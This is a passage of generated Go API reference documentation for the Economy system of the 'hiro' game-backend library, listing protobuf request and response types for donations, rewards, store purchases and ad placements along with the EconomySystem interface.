	UserId string `protobuf:"bytes,1,opt,name=user_id,json=userId,proto3" json:"user_id,omitempty"`
	// The donation ID to give into.
	DonationId string `protobuf:"bytes,2,opt,name=donation_id,json=donationId,proto3" json:"donation_id,omitempty"`
	// contains filtered or unexported fields
}

Request to give a donation to a user.

func (*EconomyDonationGiveRequest) Descriptor deprecated

func (*EconomyDonationGiveRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationGiveRequest.ProtoReflect.Descriptor instead.

func (*EconomyDonationGiveRequest) GetDonationId

func (x *EconomyDonationGiveRequest) GetDonationId() string

func (*EconomyDonationGiveRequest) GetUserId

func (x *EconomyDonationGiveRequest) GetUserId() string

func (*EconomyDonationGiveRequest) ProtoMessage

func (*EconomyDonationGiveRequest) ProtoMessage()

func (*EconomyDonationGiveRequest) ProtoReflect

func (*EconomyDonationGiveRequest) Reset

func (x *EconomyDonationGiveRequest) Reset()

func (*EconomyDonationGiveRequest) String

func (x *EconomyDonationGiveRequest) String() string

type EconomyDonationRequest

type EconomyDonationRequest struct {

	// The donation ID to request, defined on the server.
	DonationId string `protobuf:"bytes,1,opt,name=donation_id,json=donationId,proto3" json:"donation_id,omitempty"`
	// contains filtered or unexported fields
}

Request a new donation.

func (*EconomyDonationRequest) Descriptor deprecated

func (*EconomyDonationRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationRequest.ProtoReflect.Descriptor instead.

func (*EconomyDonationRequest) GetDonationId

func (x *EconomyDonationRequest) GetDonationId() string

func (*EconomyDonationRequest) ProtoMessage

func (*EconomyDonationRequest) ProtoMessage()

func (*EconomyDonationRequest) ProtoReflect

func (x *EconomyDonationRequest) ProtoReflect() protoreflect.Message

func (*EconomyDonationRequest) Reset

func (x *EconomyDonationRequest) Reset()

func (*EconomyDonationRequest) String

func (x *EconomyDonationRequest) String() string

type EconomyDonationsByUserList

type EconomyDonationsByUserList struct {

	// The active donations grouped by user ID.
	UserDonations map[string]*EconomyDonationsList `` /* 188-byte string literal not displayed */
	// contains filtered or unexported fields
}

A map of active donations keyed by user ID.

func (*EconomyDonationsByUserList) Descriptor deprecated

func (*EconomyDonationsByUserList) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationsByUserList.ProtoReflect.Descriptor instead.

func (*EconomyDonationsByUserList) GetUserDonations

func (x *EconomyDonationsByUserList) GetUserDonations() map[string]*EconomyDonationsList

func (*EconomyDonationsByUserList) ProtoMessage

func (*EconomyDonationsByUserList) ProtoMessage()

func (*EconomyDonationsByUserList) ProtoReflect

func (*EconomyDonationsByUserList) Reset

func (x *EconomyDonationsByUserList) Reset()

func (*EconomyDonationsByUserList) String

func (x *EconomyDonationsByUserList) String() string

type EconomyDonationsList

type EconomyDonationsList struct {

	// The active donations for a set of users.
	Donations []*EconomyDonation `protobuf:"bytes,1,rep,name=donations,proto3" json:"donations,omitempty"`
	// contains filtered or unexported fields
}

A list of active donations returned for some set of users.

func (*EconomyDonationsList) Descriptor deprecated

func (*EconomyDonationsList) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationsList.ProtoReflect.Descriptor instead.

func (*EconomyDonationsList) GetDonations

func (x *EconomyDonationsList) GetDonations() []*EconomyDonation

func (*EconomyDonationsList) ProtoMessage

func (*EconomyDonationsList) ProtoMessage()

func (*EconomyDonationsList) ProtoReflect

func (x *EconomyDonationsList) ProtoReflect() protoreflect.Message

func (*EconomyDonationsList) Reset

func (x *EconomyDonationsList) Reset()

func (*EconomyDonationsList) String

func (x *EconomyDonationsList) String() string

type EconomyGrantRequest

type EconomyGrantRequest struct {

	// The currencies to grant.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// The reward modifiers to grant.
	RewardModifiers []*RewardModifier `protobuf:"bytes,2,rep,name=reward_modifiers,json=rewardModifiers,proto3" json:"reward_modifiers,omitempty"`
	// Any items to grant.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// contains filtered or unexported fields
}

Represents a request to grant rewards to the user.

func (*EconomyGrantRequest) Descriptor deprecated

func (*EconomyGrantRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyGrantRequest.ProtoReflect.Descriptor instead.

func (*EconomyGrantRequest) GetCurrencies

func (x *EconomyGrantRequest) GetCurrencies() map[string]int64

func (*EconomyGrantRequest) GetItems

func (x *EconomyGrantRequest) GetItems() map[string]int64

func (*EconomyGrantRequest) GetRewardModifiers

func (x *EconomyGrantRequest) GetRewardModifiers() []*RewardModifier

func (*EconomyGrantRequest) ProtoMessage

func (*EconomyGrantRequest) ProtoMessage()

func (*EconomyGrantRequest) ProtoReflect

func (x *EconomyGrantRequest) ProtoReflect() protoreflect.Message

func (*EconomyGrantRequest) Reset

func (x *EconomyGrantRequest) Reset()

func (*EconomyGrantRequest) String

func (x *EconomyGrantRequest) String() string

type EconomyList

type EconomyList struct {

	// The list of store items.
	StoreItems []*EconomyListStoreItem `protobuf:"bytes,1,rep,name=store_items,json=storeItems,proto3" json:"store_items,omitempty"`
	// The list of placements.
	Placements []*EconomyListPlacement `protobuf:"bytes,2,rep,name=placements,proto3" json:"placements,omitempty"`
	// The set of active donations for the current user.
	Donations map[string]*EconomyDonation `` /* 159-byte string literal not displayed */
	// The list of active reward modifiers.
	ActiveRewardModifiers []*ActiveRewardModifier `` /* 126-byte string literal not displayed */
	// Current server time.
	CurrentTimeSec int64 `protobuf:"varint,5,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// contains filtered or unexported fields
}

The response data with the available store items.

func (*EconomyList) Descriptor deprecated

func (*EconomyList) Descriptor() ([]byte, []int)

Deprecated: Use EconomyList.ProtoReflect.Descriptor instead.

func (*EconomyList) GetActiveRewardModifiers

func (x *EconomyList) GetActiveRewardModifiers() []*ActiveRewardModifier

func (*EconomyList) GetCurrentTimeSec

func (x *EconomyList) GetCurrentTimeSec() int64

func (*EconomyList) GetDonations

func (x *EconomyList) GetDonations() map[string]*EconomyDonation

func (*EconomyList) GetPlacements

func (x *EconomyList) GetPlacements() []*EconomyListPlacement

func (*EconomyList) GetStoreItems

func (x *EconomyList) GetStoreItems() []*EconomyListStoreItem

func (*EconomyList) ProtoMessage

func (*EconomyList) ProtoMessage()

func (*EconomyList) ProtoReflect

func (x *EconomyList) ProtoReflect() protoreflect.Message

func (*EconomyList) Reset

func (x *EconomyList) Reset()

func (*EconomyList) String

func (x *EconomyList) String() string

type EconomyListPlacement

type EconomyListPlacement struct {

	// The ID of the placement.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The reward obtained from this placement.
	Reward *Reward `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// The available rewards obtained from this placement.
	AvailableRewards *AvailableRewards `protobuf:"bytes,3,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 209-byte string literal not displayed */
	// contains filtered or unexported fields
}

Represents an available ad placement.

func (*EconomyListPlacement) Descriptor deprecated

func (*EconomyListPlacement) Descriptor() ([]byte, []int)

Deprecated: Use EconomyListPlacement.ProtoReflect.Descriptor instead.

func (*EconomyListPlacement) GetAdditionalProperties

func (x *EconomyListPlacement) GetAdditionalProperties() map[string]string

func (*EconomyListPlacement) GetAvailableRewards

func (x *EconomyListPlacement) GetAvailableRewards() *AvailableRewards

func (*EconomyListPlacement) GetId

func (x *EconomyListPlacement) GetId() string

func (*EconomyListPlacement) GetReward

func (x *EconomyListPlacement) GetReward() *Reward

func (*EconomyListPlacement) ProtoMessage

func (*EconomyListPlacement) ProtoMessage()

func (*EconomyListPlacement) ProtoReflect

func (x *EconomyListPlacement) ProtoReflect() protoreflect.Message

func (*EconomyListPlacement) Reset

func (x *EconomyListPlacement) Reset()

func (*EconomyListPlacement) String

func (x *EconomyListPlacement) String() string

type EconomyListRequest

type EconomyListRequest struct {

	// The game client's store type.
	StoreType EconomyStoreType `protobuf:"varint,1,opt,name=store_type,json=storeType,proto3,enum=hiro.EconomyStoreType" json:"store_type,omitempty"`
	// contains filtered or unexported fields
}

Represents a request to retrieve available store items.

func (*EconomyListRequest) Descriptor deprecated

func (*EconomyListRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyListRequest.ProtoReflect.Descriptor instead.

func (*EconomyListRequest) GetStoreType

func (x *EconomyListRequest) GetStoreType() EconomyStoreType

func (*EconomyListRequest) ProtoMessage

func (*EconomyListRequest) ProtoMessage()

func (*EconomyListRequest) ProtoReflect

func (x *EconomyListRequest) ProtoReflect() protoreflect.Message

func (*EconomyListRequest) Reset

func (x *EconomyListRequest) Reset()

func (*EconomyListRequest) String

func (x *EconomyListRequest) String() string

type EconomyListStoreItem

type EconomyListStoreItem struct {

	// The category to group the item together with others.
	Category string `protobuf:"bytes,1,opt,name=category,proto3" json:"category,omitempty"`
	// The cost of the item.
	Cost *EconomyListStoreItemCost `protobuf:"bytes,2,opt,name=cost,proto3" json:"cost,omitempty"`
	// A description of the item. May be an i18n code.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// The ID of the item.
	Id string `protobuf:"bytes,4,opt,name=id,proto3" json:"id,omitempty"`
	// The name of the item. May be an i18n code.
	Name string `protobuf:"bytes,5,opt,name=name,proto3" json:"name,omitempty"`
	// The available rewards in this store item.
	AvailableRewards *AvailableRewards `protobuf:"bytes,6,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 209-byte string literal not displayed */
	// The item is visible, but if true it's unavailable to purchase by the player.
	Unavailable bool `protobuf:"varint,8,opt,name=unavailable,proto3" json:"unavailable,omitempty"`
	// contains filtered or unexported fields
}

Represents an individual available store items.

func (*EconomyListStoreItem) Descriptor deprecated

func (*EconomyListStoreItem) Descriptor() ([]byte, []int)

Deprecated: Use EconomyListStoreItem.ProtoReflect.Descriptor instead.

func (*EconomyListStoreItem) GetAdditionalProperties

func (x *EconomyListStoreItem) GetAdditionalProperties() map[string]string

func (*EconomyListStoreItem) GetAvailableRewards

func (x *EconomyListStoreItem) GetAvailableRewards() *AvailableRewards

func (*EconomyListStoreItem) GetCategory

func (x *EconomyListStoreItem) GetCategory() string

func (*EconomyListStoreItem) GetCost

func (*EconomyListStoreItem) GetDescription

func (x *EconomyListStoreItem) GetDescription() string

func (*EconomyListStoreItem) GetId

func (x *EconomyListStoreItem) GetId() string

func (*EconomyListStoreItem) GetName

func (x *EconomyListStoreItem) GetName() string

func (*EconomyListStoreItem) GetUnavailable

func (x *EconomyListStoreItem) GetUnavailable() bool

func (*EconomyListStoreItem) ProtoMessage

func (*EconomyListStoreItem) ProtoMessage()

func (*EconomyListStoreItem) ProtoReflect

func (x *EconomyListStoreItem) ProtoReflect() protoreflect.Message

func (*EconomyListStoreItem) Reset

func (x *EconomyListStoreItem) Reset()

func (*EconomyListStoreItem) String

func (x *EconomyListStoreItem) String() string

type EconomyListStoreItemCost

type EconomyListStoreItemCost struct {

	// The virtual currencies, if any.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// The required purchase SKU, if any.
	Sku string `protobuf:"bytes,2,opt,name=sku,proto3" json:"sku,omitempty"`
	// contains filtered or unexported fields
}

The cost(s) associated with a store item.

func (*EconomyListStoreItemCost) Descriptor deprecated

func (*EconomyListStoreItemCost) Descriptor() ([]byte, []int)

Deprecated: Use EconomyListStoreItemCost.ProtoReflect.Descriptor instead.

func (*EconomyListStoreItemCost) GetCurrencies

func (x *EconomyListStoreItemCost) GetCurrencies() map[string]int64

func (*EconomyListStoreItemCost) GetSku

func (x *EconomyListStoreItemCost) GetSku() string

func (*EconomyListStoreItemCost) ProtoMessage

func (*EconomyListStoreItemCost) ProtoMessage()

func (*EconomyListStoreItemCost) ProtoReflect

func (x *EconomyListStoreItemCost) ProtoReflect() protoreflect.Message

func (*EconomyListStoreItemCost) Reset

func (x *EconomyListStoreItemCost) Reset()

func (*EconomyListStoreItemCost) String

func (x *EconomyListStoreItemCost) String() string

type EconomyPlacementInfo

type EconomyPlacementInfo struct {
	// Placement configuration.
	Placement *EconomyConfigPlacement `json:"placement,omitempty"`
	// Metadata, if any was set when the placement was started.
	Metadata map[string]string `json:"metadata,omitempty"`
}

EconomyPlacementInfo contains information about a placement instance.

type EconomyPlacementStartRequest

type EconomyPlacementStartRequest struct {

	// The identifier to start a reward for.
	PlacementId string `protobuf:"bytes,1,opt,name=placement_id,json=placementId,proto3" json:"placement_id,omitempty"`
	// Optional metadata to associate with the placement.
	Metadata map[string]string `` /* 157-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to start a placement reward.

func (*EconomyPlacementStartRequest) Descriptor deprecated

func (*EconomyPlacementStartRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPlacementStartRequest.ProtoReflect.Descriptor instead.

func (*EconomyPlacementStartRequest) GetMetadata

func (x *EconomyPlacementStartRequest) GetMetadata() map[string]string

func (*EconomyPlacementStartRequest) GetPlacementId

func (x *EconomyPlacementStartRequest) GetPlacementId() string

func (*EconomyPlacementStartRequest) ProtoMessage

func (*EconomyPlacementStartRequest) ProtoMessage()

func (*EconomyPlacementStartRequest) ProtoReflect

func (*EconomyPlacementStartRequest) Reset

func (x *EconomyPlacementStartRequest) Reset()

func (*EconomyPlacementStartRequest) String

type EconomyPlacementStatus

type EconomyPlacementStatus struct {

	// The reward ID.
	RewardId string `protobuf:"bytes,1,opt,name=reward_id,json=rewardId,proto3" json:"reward_id,omitempty"`
	// The placement ID.
	PlacementId string `protobuf:"bytes,2,opt,name=placement_id,json=placementId,proto3" json:"placement_id,omitempty"`
	// The UNIX timestamp when the placement was created.
	CreateTimeSec int64 `protobuf:"varint,3,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// The UNIX timestamp when the placement was completed.
	CompleteTimeSec int64 `protobuf:"varint,4,opt,name=complete_time_sec,json=completeTimeSec,proto3" json:"complete_time_sec,omitempty"`
	// If completed, was it successful.
	Success bool `protobuf:"varint,5,opt,name=success,proto3" json:"success,omitempty"`
	// The reward for completing the placement, if it was autocompleted as part of the status request.
	Reward *Reward `protobuf:"bytes,6,opt,name=reward,proto3" json:"reward,omitempty"`
	// Metadata associated with the placement, if any.
	Metadata map[string]string `` /* 157-byte string literal not displayed */
	// contains filtered or unexported fields
}

The current status of a placement reward.

func (*EconomyPlacementStatus) Descriptor deprecated

func (*EconomyPlacementStatus) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPlacementStatus.ProtoReflect.Descriptor instead.

func (*EconomyPlacementStatus) GetCompleteTimeSec

func (x *EconomyPlacementStatus) GetCompleteTimeSec() int64

func (*EconomyPlacementStatus) GetCreateTimeSec

func (x *EconomyPlacementStatus) GetCreateTimeSec() int64

func (*EconomyPlacementStatus) GetMetadata

func (x *EconomyPlacementStatus) GetMetadata() map[string]string

func (*EconomyPlacementStatus) GetPlacementId

func (x *EconomyPlacementStatus) GetPlacementId() string

func (*EconomyPlacementStatus) GetReward

func (x *EconomyPlacementStatus) GetReward() *Reward

func (*EconomyPlacementStatus) GetRewardId

func (x *EconomyPlacementStatus) GetRewardId() string

func (*EconomyPlacementStatus) GetSuccess

func (x *EconomyPlacementStatus) GetSuccess() bool

func (*EconomyPlacementStatus) ProtoMessage

func (*EconomyPlacementStatus) ProtoMessage()

func (*EconomyPlacementStatus) ProtoReflect

func (x *EconomyPlacementStatus) ProtoReflect() protoreflect.Message

func (*EconomyPlacementStatus) Reset

func (x *EconomyPlacementStatus) Reset()

func (*EconomyPlacementStatus) String

func (x *EconomyPlacementStatus) String() string

type EconomyPlacementStatusRequest

type EconomyPlacementStatusRequest struct {

	// The reward ID to check.
	RewardId string `protobuf:"bytes,1,opt,name=reward_id,json=rewardId,proto3" json:"reward_id,omitempty"`
	// The placement ID to check, will be used if reward ID is not supplied.
	PlacementId string `protobuf:"bytes,2,opt,name=placement_id,json=placementId,proto3" json:"placement_id,omitempty"`
	// The check attempt counter, optional.
	Count int32 `protobuf:"varint,3,opt,name=count,proto3" json:"count,omitempty"`
	// contains filtered or unexported fields
}

Request to retrieve status af a specific placement instance by reward ID.

func (*EconomyPlacementStatusRequest) Descriptor deprecated

func (*EconomyPlacementStatusRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPlacementStatusRequest.ProtoReflect.Descriptor instead.

func (*EconomyPlacementStatusRequest) GetCount

func (x *EconomyPlacementStatusRequest) GetCount() int32

func (*EconomyPlacementStatusRequest) GetPlacementId

func (x *EconomyPlacementStatusRequest) GetPlacementId() string

func (*EconomyPlacementStatusRequest) GetRewardId

func (x *EconomyPlacementStatusRequest) GetRewardId() string

func (*EconomyPlacementStatusRequest) ProtoMessage

func (*EconomyPlacementStatusRequest) ProtoMessage()

func (*EconomyPlacementStatusRequest) ProtoReflect

func (*EconomyPlacementStatusRequest) Reset

func (x *EconomyPlacementStatusRequest) Reset()

func (*EconomyPlacementStatusRequest) String

type EconomyPurchaseAck

type EconomyPurchaseAck struct {

	// Updated wallet data, if changed.
	Wallet map[string]int64 `` /* 154-byte string literal not displayed */
	// Update inventory data, if changed.
	Inventory *Inventory `protobuf:"bytes,2,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// Reward, if any.
	Reward *Reward `protobuf:"bytes,3,opt,name=reward,proto3" json:"reward,omitempty"`
	// Was the purchase a sandbox purchase?
	IsSandboxPurchase bool `protobuf:"varint,4,opt,name=is_sandbox_purchase,json=isSandboxPurchase,proto3" json:"is_sandbox_purchase,omitempty"`
	// contains filtered or unexported fields
}

Response from purchasing currencies and/or items. Contains updated wallet and inventory data, if changed. Contains reward granted, if any. Contains indication of whether or not the purchase was a sandbox purchase.

func (*EconomyPurchaseAck) Descriptor deprecated

func (*EconomyPurchaseAck) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPurchaseAck.ProtoReflect.Descriptor instead.

func (*EconomyPurchaseAck) GetInventory

func (x *EconomyPurchaseAck) GetInventory() *Inventory

func (*EconomyPurchaseAck) GetIsSandboxPurchase

func (x *EconomyPurchaseAck) GetIsSandboxPurchase() bool

func (*EconomyPurchaseAck) GetReward

func (x *EconomyPurchaseAck) GetReward() *Reward

func (*EconomyPurchaseAck) GetWallet

func (x *EconomyPurchaseAck) GetWallet() map[string]int64

func (*EconomyPurchaseAck) ProtoMessage

func (*EconomyPurchaseAck) ProtoMessage()

func (*EconomyPurchaseAck) ProtoReflect

func (x *EconomyPurchaseAck) ProtoReflect() protoreflect.Message

func (*EconomyPurchaseAck) Reset

func (x *EconomyPurchaseAck) Reset()

func (*EconomyPurchaseAck) String

func (x *EconomyPurchaseAck) String() string

type EconomyPurchaseIntentRequest

type EconomyPurchaseIntentRequest struct {

	// An item's ID.
	ItemId string `protobuf:"bytes,1,opt,name=item_id,json=itemId,proto3" json:"item_id,omitempty"`
	// The store type.
	StoreType EconomyStoreType `protobuf:"varint,2,opt,name=store_type,json=storeType,proto3,enum=hiro.EconomyStoreType" json:"store_type,omitempty"`
	// The SKU code, if any.
	Sku string `protobuf:"bytes,3,opt,name=sku,proto3" json:"sku,omitempty"`
	// contains filtered or unexported fields
}

Request to create a store item purchase intent.

func (*EconomyPurchaseIntentRequest) Descriptor deprecated

func (*EconomyPurchaseIntentRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPurchaseIntentRequest.ProtoReflect.Descriptor instead.

func (*EconomyPurchaseIntentRequest) GetItemId

func (x *EconomyPurchaseIntentRequest) GetItemId() string

func (*EconomyPurchaseIntentRequest) GetSku

func (*EconomyPurchaseIntentRequest) GetStoreType

func (*EconomyPurchaseIntentRequest) ProtoMessage

func (*EconomyPurchaseIntentRequest) ProtoMessage()

func (*EconomyPurchaseIntentRequest) ProtoReflect

func (*EconomyPurchaseIntentRequest) Reset

func (x *EconomyPurchaseIntentRequest) Reset()

func (*EconomyPurchaseIntentRequest) String

type EconomyPurchaseRequest

type EconomyPurchaseRequest struct {

	// An item's ID.
	ItemId string `protobuf:"bytes,1,opt,name=item_id,json=itemId,proto3" json:"item_id,omitempty"`
	// The store type.
	StoreType EconomyStoreType `protobuf:"varint,2,opt,name=store_type,json=storeType,proto3,enum=hiro.EconomyStoreType" json:"store_type,omitempty"`
	// The IAP receipt purchased.
	Receipt string `protobuf:"bytes,3,opt,name=receipt,proto3" json:"receipt,omitempty"`
	// contains filtered or unexported fields
}

Request to purchase a particular store item.

func (*EconomyPurchaseRequest) Descriptor deprecated

func (*EconomyPurchaseRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPurchaseRequest.ProtoReflect.Descriptor instead.

func (*EconomyPurchaseRequest) GetItemId

func (x *EconomyPurchaseRequest) GetItemId() string

func (*EconomyPurchaseRequest) GetReceipt

func (x *EconomyPurchaseRequest) GetReceipt() string

func (*EconomyPurchaseRequest) GetStoreType

func (x *EconomyPurchaseRequest) GetStoreType() EconomyStoreType

func (*EconomyPurchaseRequest) ProtoMessage

func (*EconomyPurchaseRequest) ProtoMessage()

func (*EconomyPurchaseRequest) ProtoReflect

func (x *EconomyPurchaseRequest) ProtoReflect() protoreflect.Message

func (*EconomyPurchaseRequest) Reset

func (x *EconomyPurchaseRequest) Reset()

func (*EconomyPurchaseRequest) String

func (x *EconomyPurchaseRequest) String() string

type EconomyPurchaseRestoreRequest

type EconomyPurchaseRestoreRequest struct {

	// The store type.
	StoreType EconomyStoreType `protobuf:"varint,1,opt,name=store_type,json=storeType,proto3,enum=hiro.EconomyStoreType" json:"store_type,omitempty"`
	// The IAP receipts to restore.
	Receipts []string `protobuf:"bytes,2,rep,name=receipts,proto3" json:"receipts,omitempty"`
	// contains filtered or unexported fields
}

Request to restore a set of purchases.

func (*EconomyPurchaseRestoreRequest) Descriptor deprecated

func (*EconomyPurchaseRestoreRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyPurchaseRestoreRequest.ProtoReflect.Descriptor instead.

func (*EconomyPurchaseRestoreRequest) GetReceipts

func (x *EconomyPurchaseRestoreRequest) GetReceipts() []string

func (*EconomyPurchaseRestoreRequest) GetStoreType

func (*EconomyPurchaseRestoreRequest) ProtoMessage

func (*EconomyPurchaseRestoreRequest) ProtoMessage()

func (*EconomyPurchaseRestoreRequest) ProtoReflect

func (*EconomyPurchaseRestoreRequest) Reset

func (x *EconomyPurchaseRestoreRequest) Reset()

func (*EconomyPurchaseRestoreRequest) String

type EconomyStoreType

type EconomyStoreType int32

The store types supported by the Economy system.

const (
	// Unspecified. Defaults to Apple.
	EconomyStoreType_ECONOMY_STORE_TYPE_UNSPECIFIED EconomyStoreType = 0
	// Apple App Store.
	EconomyStoreType_ECONOMY_STORE_TYPE_APPLE_APPSTORE EconomyStoreType = 1
	// Google Play.
	EconomyStoreType_ECONOMY_STORE_TYPE_GOOGLE_PLAY EconomyStoreType = 2
	// Facebook Instant games.
	EconomyStoreType_ECONOMY_STORE_TYPE_FBINSTANT EconomyStoreType = 3
	// Discord Store.
	EconomyStoreType_ECONOMY_STORE_TYPE_DISCORD EconomyStoreType = 4
)

func (EconomyStoreType) Descriptor

func (EconomyStoreType) Enum

func (EconomyStoreType) EnumDescriptor deprecated

func (EconomyStoreType) EnumDescriptor() ([]byte, []int)

Deprecated: Use EconomyStoreType.Descriptor instead.

func (EconomyStoreType) Number

func (EconomyStoreType) String

func (x EconomyStoreType) String() string

func (EconomyStoreType) Type

type EconomySystem

type EconomySystem interface {
	System

	// RewardCreate prepares a new reward configuration to be filled in and used later.
	RewardCreate() (rewardConfig *EconomyConfigReward)

	// RewardConvert transforms a wire representation of a reward into an equivalent configuration representation.
	RewardConvert(contents *AvailableRewards) (rewardConfig *EconomyConfigReward)

	// RewardRoll takes a reward configuration and rolls an actual reward from it, applying all appropriate rules.
	RewardRoll(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, rewardConfig *EconomyConfigReward) (reward *Reward, err error)

	// RewardGrant updates a user's economy, inventory, and/or energy models with the contents of a rolled reward.
	RewardGrant(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, reward *Reward, metadata map[string]interface{}, ignoreLimits bool) (newItems map[string]*InventoryItem, updatedItems map[string]*InventoryItem, notGrantedItemIDs map[string]int64, err error)

	// DonationClaim will claim donation rewards for a user and the given donation IDs.
	DonationClaim(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, donationClaims map[string]*EconomyDonationClaimRequestDetails) (donationsList *EconomyDonationsList, err error)

	// DonationGet will get all donations for the given list of user IDs.
	DonationGet(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userIDs []string) (donationsList *EconomyDonationsByUserList, err error)

	// DonationGive will contribute to a particular donation for a user ID.
	DonationGive(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, donationID, fromUserID string) (updatedWallet map[string]int64, updatedInventory *Inventory, rewardModifiers []*ActiveRewardModifier, contributorReward *Reward, timestamp int64, err error)

	// DonationRequest will create a donation request for a given donation ID and user ID.
	DonationRequest(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, donationID string) (donation *EconomyDonation, success bool, err error)

	// List will get the defined store items and placements within the economy system.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (storeItems map[string]*EconomyConfigStoreItem, placements map[string]*EconomyConfigPlacement, rewardModifiers []*ActiveRewardModifier, timestamp int64, err error)

	// Grant will add currencies, and reward modifiers to a user's economy by ID.
	Grant(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, currencies map[string]int64, items map[string]int64, modifiers []*RewardModifier, walletMetadata map[string]interface{}) (updatedWallet map[string]int64, rewardModifiers []*ActiveRewardModifier, timestamp int64, err error)

	// UnmarshalWallet unmarshals and returns the account's wallet as a map[string]int64.
	UnmarshalWallet(account *api.Account) (wallet map[string]int64, err error)

	// PurchaseIntent will create a purchase intent for a particular store item for a user ID.
	PurchaseIntent(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, itemID string, store EconomyStoreType, sku string) (err error)

	// PurchaseItem will validate a purchase and give the user ID the appropriate rewards.
	PurchaseItem(ctx context.Context, logger runtime.Logger, db *sql.DB, nk runtime.NakamaModule, userID, itemID string, store EconomyStoreType, receipt string) (updatedWallet map[string]int64, updatedInventory *Inventory, reward *Reward, isSandboxPurchase bool, err error)

	// PurchaseRestore will process a restore attempt for the given user, based on a set of restore receipts.
	PurchaseRestore(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, store EconomyStoreType, receipts []string) (err error)

	// PlacementStatus will get the status of a specified placement.
	PlacementStatus(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, rewardID, placementID string, retryCount int) (resp *EconomyPlacementStatus, err error)

	// PlacementStart will indicate that a user ID has begun viewing an ad placement.
	PlacementStart(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, placementID string, metadata map[string]string) (resp *EconomyPlacementStatus, err error)

	// PlacementSuccess will indicate that the user ID has successfully viewed an ad placement and provide the appropriate reward.
	PlacementSuccess(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, rewardID, placementID string) (reward *Reward, placementMetadata map[string]string, err error)

	// PlacementFail will indicate that the user ID has failed to successfully view the ad placement.
	PlacementFail(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, rewardID, placementID string) (placementMetadata map[string]string, err error)

	// SetOnDonationClaimReward sets a custom reward function which will run after a donation's reward is rolled.
	SetOnDonationClaimReward(fn OnReward[*EconomyConfigDonation])

	// SetOnDonationContributorReward sets a custom reward function which will run after a donation's sender reward is rolled.
	SetOnDonationContributorReward(fn OnReward[*EconomyConfigDonation])

	// SetOnPlacementReward sets a custom reward function which will run after a placement's reward is rolled.
	SetOnPlacementReward(fn OnReward[*EconomyPlacementInfo])

	// SetOnStoreItemReward sets a custom reward function which will run after store item's reward is rolled.
	SetOnStoreItemReward(fn OnReward[*EconomyConfigStoreItem])
}

The EconomySystem is the foundation of a game's economy.

It provides functionality for 4 different reward types: basic, gacha, weighted table, and custom. These rolled rewards are available to generate in all other gameplay systems and can be generated manually as well.

type EconomyUpdateAck

type EconomyUpdateAck struct {

	// Updated wallet data, if changed.
	Wallet map[string]int64 `` /* 154-byte string literal not displayed */
	// Update inventory data, if changed.
	Inventory *Inventory `protobuf:"bytes,2,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// Reward, if any.
	Reward *Reward `protobuf:"bytes,3,opt,name=reward,proto3" json:"reward,omitempty"`
	// Updated active reward modifiers, if changed.
	ActiveRewardModifiers []*ActiveRewardModifier `` /* 126-byte string literal not displayed */
	// Current server time.
	CurrentTimeSec int64 `protobuf:"varint,5,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Response from granting currencies, reward modifiers, and/or items. Contains updated wallet and inventory data, if changed. Contains reward granted, if any. Contains active reward modifiers, if changed.

func (*EconomyUpdateAck) Descriptor deprecated

func (*EconomyUpdateAck) Descriptor() ([]byte, []int)

Deprecated: Use EconomyUpdateAck.ProtoReflect.Descriptor instead.

func (*EconomyUpdateAck) GetActiveRewardModifiers

func (x *EconomyUpdateAck) GetActiveRewardModifiers() []*ActiveRewardModifier

func (*EconomyUpdateAck) GetCurrentTimeSec

func (x *EconomyUpdateAck) GetCurrentTimeSec() int64

func (*EconomyUpdateAck) GetInventory

func (x *EconomyUpdateAck) GetInventory() *Inventory

func (*EconomyUpdateAck) GetReward

func (x *EconomyUpdateAck) GetReward() *Reward

func (*EconomyUpdateAck) GetWallet

func (x *EconomyUpdateAck) GetWallet() map[string]int64

func (*EconomyUpdateAck) ProtoMessage

func (*EconomyUpdateAck) ProtoMessage()

